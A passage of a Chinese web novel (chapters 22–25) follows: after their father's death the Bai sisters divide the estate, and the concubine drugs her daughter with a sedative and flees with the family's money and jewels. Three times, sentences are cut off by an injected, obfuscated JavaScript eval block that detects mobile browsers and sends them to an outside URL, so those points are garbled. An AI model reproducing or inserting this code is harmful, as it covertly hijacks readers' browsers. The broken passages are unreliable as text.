爸爸是永远地走了,那不必去说;柳世新这一位爱人,也终究走到了分别的时刻;此外白家落败,生意上势必受到影响,名门小姐之间也势必有人奚落,已经落入了这人生的低谷,怎堪再忍受蒋牧城把瑾璎哄走? 故而这小小一个端茶递水的动作,落在此刻白瑾瑜的眼中,那不是在献殷情,是在撬她的保险箱,在剜她的肉哇! 那一边,蒋牧城并没注意到白瑾瑜明显冷淡下来的脸色,他瞧着白瑾璎把温热的茶水用两手捧着,抿着的嘴唇终于透出一点血色,垂首静静站在这里,心里便升起许多怜惜。 轻声道:“有什么需要我帮忙的,都可以说。我知道你们姐妹几个心里一定不好受,呆在公馆里,也难免触景伤情,或者你们想去安静点的湖边山上住几天,养一养精神,我也可以代为安排住处。又或者——” 还没有等他下一个或者出来,白瑾瑜便冷淡地打断了,“不必再或者了。爸爸虽走了,存款房产,到底还留了一些,这里不缺钱也不缺住,用不着你眼巴巴地来帮这些不必要的忙。” 这句话里,实在带着十足的火药味。蒋牧城瞬间皱起眉头,已经是很不痛快的神色,但硬生生憋着口气,没有把火发出来,说:“我知道你心烦,不和你计较。但白瑾瑜,想想清楚你该不该冲我发脾气。” 怎么不该?怎么不该?瞧瞧这宽宏大量的语气,活像自己多么无私似的! 白瑾瑜像是被点了引线的炮仗,那火气直往脑顶上冲,当下冷笑着问道:“是呀,是我不应该,要是我们想去山上,敢问住处是哪里?你们蒋家在香山上的宅子吗?那儿倒是既安静又宽敞,真是多谢你了。” 下一刻,那嘴角下沉的口中便溢出一声冷哼,骂道:“蒋牧城,你安的是什么心思?谁不知道那产业姓蒋,你让人家怎么说我们?人家会说:白总长一走,白家四个大活人,居然眼巴巴的要靠蒋家来养呢!还有更龌龊更难听的,说你蒋某人兴许要改——” 剩下那半句顶厉害的,硬是给人捂住了嘴,咽回了嗓子里。 白瑾璎在边上听着,早就是胆战心惊了,自己姐姐那张嘴太厉害,平时家里就没有人说的过她。再去看蒋牧城的脸色,那更是山雨欲来似的阴沉,白瑾璎吓得手上一抖,杯子杯盖发出“当啷”一声,赶忙放回到桌上,冲过去捂了白瑾瑜的嘴。 一面小心翼翼地打着圆场:“姐姐赶紧去休息吧,你都累得说胡话了。我、我以前赶稿时也这样,想的东西太多,便觉得脑子不够用,说话也前言不搭后语......” 一面又去偷看蒋牧城的脸色,看他似乎面色稍霁,赶紧道,“蒋二哥也是,这几天跟着我们忙前忙后,快回家休息吧。天色也不早了,我、我送你!” 说罢,赶忙引着蒋牧城往外走。直到走出了小客厅,把两人彻底地拉开了,想来他们也不能冲回去再打上一架之后,那阵紧张才算过去。 白瑾璎自认最木讷了,拿这两个厉害又固执的人没有办法,只能两头劝,在和蒋牧城并肩往公馆大门走时小声道:“瑾瑜不是那个意思,你帮了这么多忙,她心里都记着的,你千万别计较。” 蒋牧城闻言停住脚步,漆黑的眸子自上而下地落到她身上。白瑾璎被这直来直去又久久不收回的视线看得不大自在,刚想往后退一步,倒听见蒋牧城沉沉地叹出一口气,说:“......我也没有那个意思。” 他指的是白瑾瑜方才说出口和没有说出口的那些荒唐言论,白瑾璎知道,可一想到兴许真有这种损坏名誉的流言出现,还是嫌恶地拧了拧眉头,不想多提似的,飞快地点了点头。 蒋牧城应了一声,接着说:“白瑾瑜是牛脾气,随她怎样去想吧。但要是你也这样想,我——” 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白瑾璎望了他一眼,思忖似的,又退开几步,抬头望了望伫立在身后的静谧的白公馆洋楼,幽幽地说:“我没有什么需要帮忙的地方,真要说有.....”她迟疑了片刻,抿了抿嘴唇,“大概,要是我们决定搬地方,我那几箱子书,有许多精装典籍,有的还是专门收来的孤本,我是很舍不得卖的,我想,总也不至于到要卖的地步,可放在哪里却是个问题。” 对于她说的搬家,蒋牧城并没有多问,只是无声地提了提嘴角,说:“这是小事,我一定帮你保管好。” 白瑾璎小声地应了一句,还是抬头望着雪白的洋楼,她的眼睛里闪闪烁烁的,实在有一种依依不舍的哀情,在夜里看来格外明显。 蒋牧城很想安慰她,却不知道说点什么,便跟着一起抬头,没有看洋楼,倒看见挂在夜幕上的一弯白月亮。柔声道:“你看,天上的月亮眼下是缺的,可总有圆满的一日,人生长久,万事万物都是不一定的。” 白瑾璎也看见了,皎白的清辉把那一片夜空照得格外明亮些,只是无论如何那月亮是缺的,便勾起人无端的悲凉,说:“它大概会有圆上的一天,可我现在看着,只觉得像闪着寒光的镰刀,看的人心里很不好受......” 话是这样说,可含泪的目光却迟迟地没有收回。 蒋牧城沉默了一瞬,懊恼自己不该提起这个话头似的,缓缓道:“那就不要看了,我送你进屋去吧。” 白瑾璎猛眨了几下眼睛,等泪意消退了,才硬是挤出一点笑容,故作轻松道:“我刚送你出来,你又要送我进去吗?送来送去,有什么意思?” 蒋牧城便也无声地笑了一笑,说:“我看着你进屋,我的车就停在这附近,一开就可以走。” 白瑾瑜这才朝他挥了挥手,回到屋内,却透过门缝偷偷地往外看,见他在原地站了片刻后,真的转身往洋车的方向走了,才把大门掩上。她装了点心事,正想找白瑾瑜商量一下呢,想不到一走到卧房门口,对面的房门便被人打开了。 白瑾瑜已然换好了睡袍,朝她招了招手,说:“来我屋里,我有事想和你谈呢。” 23. 第 23 章 白瑾璎朝她走过去,忍不住为蒋牧城抱了一句不平:“姐姐刚才不该那么说的,蒋二哥忙前忙后,有哪里做错了呢?” 白瑾瑜似乎是应了一声,这就算是顺着这个台阶下来了,说:“我也是忙得心烦,你心疼他辛苦,我哪里不是一样辛苦呢?就别说我了吧?”抓了白瑾璎的手,把她往自己房间里拉,“我是真的有要紧事和你商量,进来吧。” 白瑾璎进了房间,才发现屋里的圆桌子上放了好几个盒子,里头要么放着地契,要么装着银行的存折本子。边上是一把算盘和拔了笔帽的钢笔,白纸上已密密麻麻地记了好几页数字,想必白瑾瑜已伏案忙活好一会儿了。 白瑾璎把那几页纸拿在手上,只看了一眼,心里就突突地一跳,问:“这是做什么?把资产账目列得这么清楚,难道咱们也要走到分开这一地步吗?” 她的口吻无疑带着急迫,白瑾瑜听了倒松了一口气似的,微笑道:“你会这样问,就说明全无单过的意思,这我很欣慰。只是家里有多少财产,正可以趁此机会盘点清楚,也好提早做万全的准备。瑾璎,我问你,你外公那边怎么说呢?不想接你过去吗?” 白瑾璎在圆桌边坐下,两手托着下巴道:“外公老早致仕去了国外,现在让我去国外吗?那不能够呀。今天丧礼,我表兄和表嫂也来了,倒是提了一句让我搬去和他们住。但是你想,他们的小孩刚满三岁,正是需要人关注上心的时候,我过去了,对他们而言是个负担不说,硬要我融入他们的小家庭,我自己也觉得怪不自在。” 白瑾瑜点了点头,道:“那么我们俩,总归可以不分开。至于老三,她有亲妈在身边,我是做不了她的主的。” 白瑾璎沉吟了一会儿,也说:“是呀,陈姨太未必愿意和我们继续住在一起,她要是提出带着女儿一道走,难道咱们还能拦着她吗?” 谈到这里,两人无不是沉默,还是白瑾瑜先耸了耸肩,把那无解的烦恼抛在一边,说:“算了,根本也不必我们去操心,她有亲生母亲在呢,还能不把她照顾好吗?对了,关于这宅子,你怎么想呢?我的意思,还是认为搬出去的好。” 白瑾璎当即赞同道:“是,我也想过这一件事:这一处公馆实在太大,要养护好它,打扫的佣人,花匠园丁,司机门房,那就不能缺少。如今爸爸走了,经济来源上,近乎就砍去了一半,没有必要非把钱浪费在住大房子上。” “对,对。”白瑾瑜忍不住地附和,“你和我想到一块儿去了!不光这样,搬家之后,家里的女佣人,我也想换掉的。你看看从前公馆里的日子,多么清闲,已然把佣人养得懒散了,往往做一件事,还要你三催四催,这就不在少数。” 叹了口气接着道:“也是我从前总往外跑,不爱管家里的事,可要是搬去别处,用的人少了,一个人要做的活势必就多,居住的环境呢,那肯定是不如现在的。俗话说由奢入俭难,和先前的日子一对比,佣人心里生怨气,不好好工作不说,主人家看着也心烦。倒不如推翻重来,如今一个手脚勤快的佣人的薪水,比家里那些只少不多的。” 白瑾璎用力点了点头,像是在这悲痛的气氛中,总算有一件事能令人生出一点对未来的期盼似的,说:“就是这样办!” 白瑾瑜伸手盖上了桌上的存折盒子,手指在盒盖上轮流着敲过去,她的脸上虽也带着微笑,却幽幽地说道:“这件事,我们之间是说定了,可你瞧着吧,要说服那位姨太太,可还有一场硬仗要打呢。” 她猜的一点不错,隔天,当陈姨太把两张大致的财产分配清单拿到手里的时候,当即就叫唤起来:“这、这不公平!别的不说,光是地产一项,怎么我们母女俩就顶少?就只有两间宅子?!好哇!老爷一走,你就要把我们孤儿寡母往死了欺压呀!” 白瑾瑜硬是忍着没有给她一个白眼,耐着性子解释道:“你觉得自己分的少,那好,我一笔笔给你算。” “先是房产一项,瑾璎名下的最多,但那都是她母亲带来的嫁妆,当然都留给亲生的女儿。唉,我母亲去世得早,自然什么也没留下,所以连我也是没有的。陈姨太,别人家的嫁妆,你不会想要分一点走吧?” 见陈姨太的脸色慢慢涨红起来,笑了一声,“当然了,要是你来我白家时带了什么私产,也是一样的,依旧归你自己所有。” 陈芳藻噎了一噎,回想她来白家时,除了一箱衣裳和三个月大的肚子,简直可说是两手空空。那些半新不旧的衣服,也早在第二年就被她扔了个干净。 见她暂时无话可说,白瑾瑜接着道,“至于我名下的那些店面,哪一间不是我用自己的本金挣来的?老实告诉你吧,爸爸对银钱是不大上心的,你们那间大点的宅子,还是我管账之后给家里买下的,算是一笔产业上的投资。” 这意思,她们如今能分得这一大一小两座宅子,高低还得给她白瑾瑜道声谢。 陈姨太抓着那几页细目不放,一双眼睛一目十行地转着,誓要从中再抓出一点漏洞似的。 存款那一项,她和瑾琪倒是得的最多,可她又不知足了:她们好歹是两个人呐!于是口中不住地发着凄苦又幽怨的演说:“你们都是大学毕业的人了,倒是轻松,可怜我们瑾琪还是上学的年纪呀!不光没有入账,处处都是需要用钱的地方,这可叫我怎么好!哎呦!” 被她念叨着的白瑾琪本人坐在一边,这时候,倒显出一些从没经历过大风大浪的十七八岁女孩应有的惊惶来。一双蒙着水气的眼睛看看姐姐又看看母亲,知道此间正有一场重大的争执,自己却不敢贸然开口,只能忍着眼泪,把嘴唇倔强地紧闭着。 白瑾璎多少不忍心,也未免陈芳藻再说出什么胡话来气着白瑾瑜,干脆自己先开口道:“爸爸在的时候,薪金丰厚自然不必说,另有许多公司借他军务总长的面子,都会送他干股,每年净拿分红。他一走,那些股份当然也就收回了,故而剩下的除了几处房产,就是这些存款了。” “眼下不过是姑且一分,叫彼此心里有个底。姨太太,要是你情愿和瑾琪一道生活,那就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233290|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿走这么多了;要是往后还是我们四人同住,也就不必对此纠结。” 她的口吻很柔和,倒是可以起到调解的作用,至少陈芳藻不叫唤了。 她把一块绸手帕在手指上缠来绕去,防备似的瞟了对面的白瑾瑜一眼,又抓了白瑾琪的胳膊往自己这边拉,嘟囔说:“人多了,住着也不便......横竖,我们娘儿俩是不分开的......” 白瑾璎听懂了,笑容里多少透着些无力,说:“存款要按四个人来均分,那不能够,放在哪里也没有这样的分法。考虑到瑾琪还在读书,她大学四年的学费,我们也一并算进去了,所以留给她的存款格外多些。两间宅子,或租或卖,都是一笔来源,此外,想必姨太太也有不少贵重首饰,那也算作你的私产。算来算去,不说过得多么奢华,实在也不必为银钱发愁呀?” 可不是!对于一个姨太太而言,大厦倾塌后能分到一两千块钱已经是不错了,不要说还有宅子首饰。陈芳藻自己也知道这是沾了白瑾琪的光,毕竟白瑾琪可是正统的白家人! 是以,她更要像落水的人扒着浮木一般揪着白瑾琪不放了,好为自己争取更多的利益。 忽然,她脑筋一闪心头一跳,想到什么似的跳起来道:“不对呀!老大,你的洋货进口生意做得那么大,一分没用家里的钱吗?老爷可是给过你不少本钱的吧!这大笔的盈利又怎么算?这还是不公平,得重算!” 到此,白瑾瑜的耐心终于告罄,口中溢出一声冷笑,道:“看不出来,陈姨太的胃口这么大。好啊,那就重算。” 她把陈姨太丢到桌上的细目拿回手里,唰唰两下撕了,一面说:“我手上的外贸生意,是我从无到有一点点做起来的,其中多少辛苦奔波,也不必我多说。不过也是,这世上谁爱受累呢?干脆我也两手一甩地撂担子好了。” 白瑾瑜甩开两手,手上的细目碎片便纷纷扬扬掉了满地,冲陈姨太冷冷地扯了扯嘴角,“只是现在不是账期,开去国外的船也还没回来,我这边一叫停,顺便把贸易公司也关张大吉,那些轮渡费、海关费、遣散费并店铺租赁费,可都是要照价付清的。” “姨太太,不如算算你手上有多少钱,我们一起凑一凑?没理由盈利你想占,损失却不愿意担呀?” 见陈芳藻的脸色一阵阵发白,显然已经在懊悔自己嘴皮子太快。 这一次,白瑾瑜却不想再轻轻放过了,接着道:“你想坐收渔翁之利,行啊,还有一个法子,不如就拿钱入股好了。不过我也提醒你,爸爸人在其位时公司顺风顺水,往后的路未必就是那样好走,弄得不巧,可是要蚀本的。不过投资生意就是这样,哪儿有不担风险的呢?姨太太,你怎么说?我立刻叫人拟一份入股协议。” 陈姨太老早是惨白着一张脸坐回到椅子上,哆嗦着道:“我、我脑子糊涂了,不过是白说一句,白说一句。你是有本事的人,你的那些生意,我哪里懂呀......” 那样子,已然是不敢再把脑筋,动到白瑾瑜的头上了。 24. 第 24 章 白瑾瑜轻哼一声,吁了口气算是消气,末了商议起最后的一项,简略说了说想把公馆保存起来,只留一个园丁一个门房照看,在座几个则搬出去另住的打算。 经过前头几轮交锋,陈姨太已经不敢再摆出撒泼跋扈的姿态了,但是为着实际到手的利益,还是表示着反对的意见,小声道:“既然是为了节流,那照刚才说的,或卖或租,不光‘节流'',还能‘开源''哩。何苦还要花钱雇两个人照看......” 白瑾璎便解释道:“住得起这样大公馆的人家,何须去租别人的房子?自然是买下来。可是买下了,这白公馆从此以后可就是别人的东西,不再姓白了。” 她顿了一顿,才接着道,“都说落叶归根,这座公馆对于我们而言,总归是类似于根的东西。既然经济情况远没有不堪到那个份上,还是希望能保留下来,往后,也是一个可以相聚的场所。” 陈姨太敢怒不敢言地嘟囔了一句:“这年头谁还时兴这个呀,在饭店包厢里聚一聚么好了,哪里比得上真金白银来得实在......”抬头,见白瑾瑜并白瑾璎两个人都静看着自己,知道她们俩主意已定,自己是拗不过的,幽怨道,“你们既然都决定好了,再问我又有什么意思呢!唉!” 白瑾瑜倒也大大方方地承认:“我们俩这么想不假,但也想听听大家的意见,如果确有道理,未必不能实行。既然陈姨太觉得没意思,那就是不发表意见了,瑾琪,你怎么想呢?” 自从今天的家庭会议开始进行,白瑾琪就没说过话,此刻白瑾瑜问她的意见,倒引得所有人的目光都落到她身上。 陈芳藻老早捏紧了她的胳膊摇撼一下,那意思无疑是要她站在自己一边。 可甭管她亲妈在边上掐得多用力,白瑾琪咬着嘴唇,最终觑着陈芳藻的脸色,小心翼翼地细声道:“我、我也不想卖......” 陈芳藻的脸色果然是不好,闻言狠狠瞪了女儿一眼。白瑾琪胆怯地缩了一缩,眼泪蓄在眼眶里辩解道:“我从小就是在这里长大的,卖了,不就什么都没有了么......”实在有种可怜兮兮的舍不得。 既然三个姓白的都想要保留下公馆,陈姨太也就不好再说什么,只能将这气恼咽回到肚子里去。 家庭会议就此结束,陈姨太带着一肚子的火气,紧抱着装了两张地契与存折簿子的小盒子,一路往自己的房间走去。白瑾琪则像是缩着脖子的鹌鹑,亦步亦趋地跟在她身后。 一进房间,还没等当妈的埋怨几句,女儿倒先开口了,细声细气地问道:“妈,咱们真的不和大姐姐她们一道住吗?大姐姐管家那么多年,住在一起,也好彼此照应啊......” 白瑾琪虽然有点怵白瑾瑜,但对于这个姐姐的本事,却是很服气的,尤其在她收拾了白齐昌之后,更是能从她身上汲取到许多安全感。 陈芳藻恨铁不成钢似的,伸着手指往她脑袋上戳了好几下,数落道:“你傻呀!咱们已经把她得罪死了,和她一起住,不必说,那一定还是她来掌家,能有你的好果子吃吗?!” 白瑾琪拧着眉头往后躲了躲,小声反驳道:“我哪里得罪她了,平时吵吵架拌拌嘴,也不算得罪......” 陈芳藻顿时竖着眉毛尖声道:“你这个死小囡!我得罪她,不等于你也得罪她了吗?难道咱们娘儿俩个还分开算账吗?我看还是分开住的好,自己管自己,至少比从前自由得多啦!” 白瑾琪便垂着脑袋,抿着嘴不吱声。 在她这里,当然愿意和亲妈一起住,只是骤然从四个人的团体分作两个人的小家庭,便仿佛四柱的屋子被抽去两根一般,心理上觉得很不牢靠。何况说一句实话,陈姨太是很懒散的一个人,未来的日子过成怎样,那真要打一个问号。 白瑾琪此刻的心情真可谓百感交集。 一方面,对于这种悬在半空中的没影子的未来感到茫然无措,心里直打鼓。另一方面,存折房产已然分配完毕,自己也要和母亲搬出去住,这些已然都是确定好了的,这便如同一只脚已踩上了坚实的地面,另一只还悬荡在虚空之上。 到底怕生生的,拉过陈姨太的胳膊道:“妈,我晚上来你房间睡吧,晚上公馆里安静得没一点声音,我害怕......” 陈姨太看着女儿的大眼睛,水亮得蓄着眼泪似的,再大的火气也不好往她身上发呀,心软了一瞬,说:“唉,咱俩睡就咱俩睡吧,横竖这白公馆,咱们也住不了多少天了。” 当时是这样说,只是人的想法,改变得是很快的。一到晚上,夜深人静,心思就活络起来,陈姨太便感到后悔了。 夜里,白瑾琪已经躺进被窝里睡下了,陈姨太则开了一盏小台灯,坐在梳妆台前盘算存款和首饰。她在白家的日子虽宽裕,手上从没有缺钱的时候,可那也是向家里账房支钱,哪里体会过这大把实在的钞票捏在自己手心里的感觉? 她对钱不大有概念的,只觉得为了对这“大权在握”表示庆祝,先就要好好享受一番!番菜馆,跳舞厅,还要比照着时装画报做一身新旗袍!然后么,最好还是回上海去。 她本来就是由上海来北京的,这一回去,也算是衣锦还乡啦,若是赶巧碰上几个旧相识,说不定还能对她们扬眉吐气哩!再者,如今的上海真可说是摩登的大都市,是灯红酒绿的花花世界,自己本来就爱娱乐的,那不是正合适么?至于瑾琪,让她退掉北京的大学就是了,难道上海没有学校? 不过一想到瑾琪,陈芳藻又愣了,觉得计划似乎不能行通。 白瑾瑜真能允许自己把白瑾琪带去上海? 这个大小姐,做起事来雷厉风行,责任心和控制欲也是重的很。想想从前,她就勒令过自己不许去跳舞厅,更不许带瑾琪去,不然是要不客气的!老爷虽是过世了,可一笔写不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240594|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个白字,她能容忍白瑾琪这个白家人流落在外,跟着自己这个当过舞女的妈? 陈姨太忍不住撇了撇嘴——她倒是没有当面地嘲讽过自己的出身,不过就平日里那趾高气昂,不拿正眼看人的样子,以为她陈芳藻看不出她打心底里瞧不上自己吗? 只是她白瑾瑜本事大,还有这个伯伯那个婶母的愿意相帮她,自己若留在北京,名义上是分开住了,结果不还是在她眼皮子底下、受她的掌控吗? 若是硬要去上海——陈姨太下意识就想到了白瑾瑜对待白齐昌时的气势,上一秒微笑,下一秒就能拍桌,身后两个卫兵站得板板直,把枪杆子摆弄得咔哒咔哒响,心里忍不住觉得胆寒。 她做事情多么狠心绝情哇!要是自己违逆她的意思,指不定那枪杆子,下一次就要抵到我头上来哩! 这样一来,念头便拐进了一个岔道,越想越觉得带着白瑾琪,自己是很受约束的。再一想,多一个人,须得管她吃饭读书添衣,岂不是银钱上也大大受到了限制?干脆不要带她,一样是姓白的,白瑾瑜还真能丢下她这个小妹妹不管么...... 正想得入神,忽听背后传来一声动静,陈芳藻吓了好大一跳,赶紧把打开的首饰盒子“啪”得阖上,装作收拾桌面的样子,同时扭头往后看。 原来是白瑾琪半夜迷糊着转醒,伸在被窝外的胳膊往旁边一摸,却没摸到人,眯缝着眼睛小声问:“妈,你还没睡啊......” 陈芳藻当即道:“马上就睡了。”心里却老大后悔,怎么就答应了女儿睡到自己的房间来!现在不要说卷铺盖逃跑了,自己就是在床上翻个身,这个小囡都要知道的,哪里瞒得过她! 但是下一秒,手指尖碰到了桌上一个小瓶子,陈芳藻一个激灵,又觉得未必就走不脱。 她吁了口气,语调温和地问:“睡不着啊?是不是口渴了?妈妈给你倒杯水喝。”听见白瑾琪小声地“嗯”了一声,便捏着那药瓶子,往房间角落放了保温水瓶的矮柜走去。 那药瓶里装的是安定片,从前陈姨太头疼睡不着的时候吃过一阵子,后来不吃了,放在梳妆台上也就忘了。偏偏这时候摸到,可不正是瞌睡了有人给递枕头吗? 陈姨太从暖水瓶里倒了杯烫水,格外当心地拧开了瓶盖,其间没发出一点声音,把里头的药片倒到手心上时,才发现剩下的都是整片了。 从前自己睡不着时,只吃半片就行,可现在,上哪儿再去找把小刀把药片切一半?当下生出一阵懊恼,恨不得抬脚往地板上剁。然转念又想,不过就差半片的剂量,要什么紧,人家闹自杀,那得吃下足足一瓶呢!报纸上不还报道过,就是吃了一整瓶,也未必死得成呢! 心里一狠,便把整片的安定都扔进了茶杯。 见白色的药片在热水里慢慢化开,陈姨太往杯口吹着凉气,道:“你等等,房间里只要热水,还有点烫哩。” 25. 第 25 章 这一夜,白瑾琪睡得格外的沉,竟连一个梦也没做。恍惚间只觉得有人不断地摇晃自己,忍着困倦睁开眼睛,才发现是神色略显焦急的虞妈,一见她醒了就问:“三小姐,知道姨太太哪儿去了吗?” 白瑾琪心里一跳,伸手往旁边的被子上摸,哪里还有人的影子?又去看墙上的挂壁钟,才知道原来已经是上午十点钟了。 白瑾琪知道自己睡晚了,陈姨太势必比自己起得早,心里纵然有些不安,还是迟疑着道:“她不在家里吗?不要是出门去了吧,她平时不也常常出去逛公园看电影的吗?” 虞妈叹了口气,还是带着忧虑的脸色,道:“当真是这样吗?我在外头敲了半天的门也没有人应,就自己进来了。姨太太不在房间里,并且你瞧,她往日放在梳妆台上的几个首饰盒子,也都不见了。” 白瑾琪照她说的,扭头去看梳妆台。 她对陈芳藻屋子里的陈设向来不怎么留心,只觉得台面上的绒面盒子摆得稀稀拉拉的,确实不该这样少,并且,陈姨太每天要用的外国擦脸霜和香粉,竟然也没看见。 这实在是个不好的预兆,只觉得脑子里有一口大钟被狠狠撞了两下,竟生出一阵晕眩。 白瑾琪猛地掀开被子,手脚并用地爬下床,先就扑向了正对着大床的梳妆台。台面上都是些不值钱的瓶瓶罐罐,她拉开抽屉,抽屉里也只剩几个用来装项链的大首饰盒,至此,白瑾琪的心已经沉了一半,再把盒子打开一看,里头果然是空空如也,那一整颗心,也就石头一般全然地沉底了。 白瑾琪急吸了一口气,含着两汪眼泪又去开衣柜的门,里头倒是满满当当地挂着衣裳,可她伸手翻了一翻,很快便发现陈芳藻平常最喜欢的和最贵重的几件同样是不翼而飞。 这下还有什么不明了的?她是卷了钱自己跑路,完全把自己给抛下了呀! 白瑾琪再也忍不住,捂着脸哇的痛哭起来。 虞妈站在一边,看也看明白了,当下让小丫鬟叫来了白瑾瑜,好一起商量个对策。 白瑾瑜是带着白瑾璎一起来的,她本来计划着今天先去看看要搬去的新居,正在出门的档口上被叫了过来,看见这架势,先就问老三道:“陈姨太先前没和你表露出要走的意思吗?你们昨晚上谈了什么没有?” 不料白瑾琪一味地只是哭,涨红着脸上气不接下气,一句话也说不出来。 她心里固然是伤心极了,自己的亲妈活活把自己抛弃了,世上哪儿还有比这更甚的背叛?更不要说她一股脑卷走了所有钱款,自己现在就是个身无分文的可怜虫,要是大姐姐狠心一点,就是把自己扫地出门,道理也不在她这里哇! 是以白瑾琪不说话,除了出于伤心,更是出于害怕。生怕自己说错哪一句,两个姐姐就真的不要自己了,那她可怎么活呢? 白瑾瑜被她呜呜哭得脑仁疼,知道从她那里是问不出什么来了,便叫来了门房先生。门房先生倒记得很清楚,说:“陈姨太今天老清老早,天儿还蒙蒙亮的时候就出门去哩!” 白瑾瑜拧着眉头,问:“那么早,你没有问几句吗?还有,她带了箱子没有?” 门房先生当即道:“是呀!正是因为她提了个皮箱子,我就问了一句。陈姨太说什么,如今家里不比从前了,她有几件不常用的首饰摆件,想去洋货行卖掉,还有件毛皮大衣,也想去东早市问问价格。我想东早市开得是很早,也就没再多问了。” 见几个小姐都是沉着脸不说话,还以为是自己活做得不细致,又怯怯地追加道:“我看那箱子不小,还问陈姨太要不要用车哩。但陈姨太说不必劳动司机,还能省几个油钱,自己招一辆人力车就行。我也不好多话呀。” 白瑾瑜点了点头,让门房下去了,扭过头狠狠叹出一口气。 白瑾琪哭得累了,此刻软倒在沙发上,靠在虞妈的怀里小声抽泣。听见白瑾瑜叹气,立时像是失去庇护的鹌鹑似的,抖了一下。 在白瑾瑜问话的时候,白瑾璎将屋子里用来存放东西的抽屉橱柜重新又检察了一遍,同样是叹息一声,说:“地契存折和首饰都没了,不必说,她一定是直奔车站,赶早班的火车跑了。只是她会去哪里?唉,不管去哪里,这都过了四五个钟头,我们哪里还追得上?” 白瑾瑜发了一声冷笑,道:“除了上海,她还能去哪里?她不正是由上海来的吗?” 她抱了手臂,掷地有声道,“依我看,不必费事。干脆去警察厅报一个案,再在报纸上登一则携款逃跑的寻人启事,让警察拿着相片子一间一间旅馆去问,她总不能前脚一到上海,后脚就置办房产吧?” 说罢,朝白瑾琪一招手,“好了,别哭了。换身衣服,跟我去一趟警察厅。” 白瑾琪本来睁着一双泪眼,惶惶地将她望着,闻言鼻尖一红,又呜呜地哭出声来,摇着头直往后缩。 去警察厅报案,这多么难堪!何况她该怎么说?陈芳藻只是个姨太太,姨太太卷走家里的钱,那便与小偷无异,自己这个小偷的女儿,又要被人怎么编排呢? 光是这样一想,便觉得灭顶之灾顷刻就要临门,急得忙用求救的目光去看白瑾璎。 好在白瑾璎同样心存疑虑,说:“登报我倒是同意,可是去警察厅报案,怎么报呢?谁也不能一口咬定陈姨太就去了上海呀。不如先去问一问火车站的票务?不过现在正是学生放暑假的末尾,带了孩子去外省的回来,来北京游玩的人回去,即便是清早,来来往往的人也太多了,未必就能记住陈姨太的样貌。” 白瑾瑜思忖了片刻,忽而扭头问白瑾琪道:“老三你说,要不要找?你要是想找,我掘地三尺,总能把陈姨太给你找出来。” 白瑾琪怔了一怔,顿时一股悲凉油然而生。 找到找不到,自己都是被抛弃的那一个,这还能改变吗?找到了又怎么样?真叫警察厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253330|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人来捉走她吗?她一定会这样说:好哇!你这个没情没意的小东西,我拼着命生下你照顾你,到头来你就这样对自己的娘! 白瑾琪真不晓得再见了面,自己该以怎样的面目对她。憎恨她吗?这十七年的朝夕相处,总不是白过的。敬爱她吗?心里扎了根刺,哪儿有这么容易拔掉? 到最后,竟只剩下灰心丧气,心想,干脆再也不要见了吧!不要知道她在哪儿,也就不必看到她的态度,听到她的自白,没有盖棺定论,还能骗骗自己,兴许她心里也在后悔呢? 于是在淌了一脸的眼泪后,竟可怜兮兮地摇了摇头。 白瑾瑜拧着眉头,很有点恨铁不成钢的意味,说:“你可想好了,存折簿子捏在她手上,用钱取钱,我们是一概不知道,也管不了的。真要这样,你那一份钱,可就拿不回来了!” 白瑾琪顿时被捉住了痛脚似的,小脸纠结地皱到一起,肿得核桃似的眼睛里又盈上一波眼泪。可即便如此,还是僵直了脖子咬着唇,没有要推翻前言的意思。 白瑾瑜正感到头疼呢,那边一个小丫鬟跑了过来,说是有找瑾瑜小姐的电话,请小姐去接一接。 横竖白瑾琪迟疑不定,让她自己静一静也好。白瑾瑜抚着额角先去了电话间,到了才知道对面已经挂断了,守着电话机的梅香说:“是一位姓柳的先生打来的,说想约小姐中午在华新路的艾琳咖啡馆见,还说不见不散哩。” 是柳世新。 他总算是露面了,自己也是时候该见一见他了。 白瑾瑜定了定神,恍然间发现,自己的情绪竟是很平静的。但她知道,这是经历了惊涛骇浪之后的平静,和从前早已是不一样了。 她望了眼挂钟,此刻正是将近中午的时刻,而自己为着看新居,也已经换好了外出的衣服,似乎冥冥之中的一切准备,就是等着去做这一件事了。 白瑾瑜让梅香叫来了虞妈,问了问白瑾琪的情况。 虞妈道:“现在倒是不哭了,我出来的时候,二小姐正带着她去洗脸呢。唉,这一次,瑾琪小姐真是够可怜了,谁也想不到这个陈芳藻会把事情做得这样绝呀!”她说着,觑了一眼白瑾瑜的脸色,“大小姐,现在怎么办呢?我想,总不至于真的撇下三小姐不管吧?” 